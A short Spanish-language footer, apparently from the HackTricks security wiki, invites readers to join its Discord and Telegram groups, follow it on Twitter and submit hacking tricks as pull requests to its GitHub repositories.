• Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
• Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.